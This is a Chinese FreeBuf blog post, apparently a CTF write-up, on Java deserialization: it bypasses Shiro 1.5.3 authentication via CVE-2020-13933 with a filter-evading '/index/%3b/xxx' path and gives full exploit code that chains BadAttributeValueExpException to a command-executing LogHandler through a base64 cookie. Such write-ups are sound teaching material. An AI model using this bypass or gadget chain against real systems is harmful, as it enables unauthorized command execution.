freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java反序列化漏洞从入门到关门
2021-04-27 14:51:03

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞。

0x00 前言

近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。

在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。

0x01 正文

题目本身是Web题目,并且提供了源码。

打开页面,登录窗口。

1610593532203

页面仅有一个登录窗口,尝试一波弱口令,无结果。

然后去看代码,jar包导入JD-GUI,随便点点。

大致文件结构如下:

1610593532203

其中ShiroConfig.class内容如下:

1610593532203

简单审计发现,index内容需要认证,也就是需要登录。

查看index对应的IndexController.class,发现存在反序列化点。

1610593532203

具体代码如下:

if (cookies != null) {
      for (Cookie c : cookies) {
        if (c.getName().equals("userinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      } 
    }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName(name);
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    } 

当访问index时,并且存在cookiekeyuserinfo时,会对其value进行deserialize

过程如下:

cookie[userinfo] --> base64decode --> deserialize

暂时思路是,登录之后,通过cookie进行反序列化。

但是由MyRealm.class可知,密码是随机的。

1610593532203

具体代码如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。

根据 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在过滤器AllFilter.class

1610593532203

public class AllFilter implements IAllFilter {
  public String filter(String param) {
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
    for (String i : keyWord) {
      param = param.replaceAll(i, "");
    }
    return param;
  }
}

AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload/index/%3b/xxx

绕过权限之后,发现后台为日志记录。

1610593532203

涉及到LogHandler.class,在之后的后续反序列化会用到。

绕过权限之后,想办法反序列化。

要序列化的条件是,必须继承Java.io.Serializable接口。

在代码中寻找可被利用的class

发现LogHandler.class

1610593532203

其中存在命令执行点

public class LogHandler extends HashSet implements InvocationHandler {
  private static final long serialVersionUID = 1L;
  private String readLog = "tail /tmp/accessLog"; private Object target;
  private String writeLog = "echo /test >> /tmp/accessLog";
  
  public LogHandler() {}
  public LogHandler(Object target) { this.target = target; }
  
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
    return method.invoke(this.target, args);
  }
  public String toString() { return Tools.exeCmd(this.readLog); }
}

LogHandler继承了HashSet

HashSet继承了Java.io.Serializable接口。

HashSet部分代码如下:

package Java.util;

import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;

public class HashSet<E>
    extends AbstractSet<E>
    implements Set<E>, Cloneable, Java.io.Serializable{
    static final long serialVersionUID = -5024744406713321676L;
    ......

之后的pop链为:

deserialize --> LogHandler --> toString --> exeCmd (readLog)

条件:readLog可控 。

readLog为私有属性,可通过Java的反射机制访问属性值。

方法说明
getDeclaredField(String name)获得某个属性对

例如:

import Java.lang.reflect.*;
public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        
        Field aaa= UserClass.getDeclaredField("name");
        aaa.setAccessible(true);//私有属性,设置可访问
        aaa.set(user, "liuxigua");
    }
}

最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类

BadAttributeValueExpException部分代码如下:

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { 
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

可通过将val设置为logHandler类,最终在readObject时调用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode 

cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最终Gadgets

Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致

package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"touch /tmp/123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

生成payload之后,在cookieuserinfo值填入,可执行命令。

1619750988_608b704c0ad72f2cbe73e.png!small?1619750989372

0x02 总结

众所周知,Java代码开发与Java代码审计,并不是充分必要条件。

你问我懂不懂Java,那我当然是不懂的。

你问我能不能搞Java代码审计,其实也不是不能搞。

作者:Obsidian

# 渗透测试 # web安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录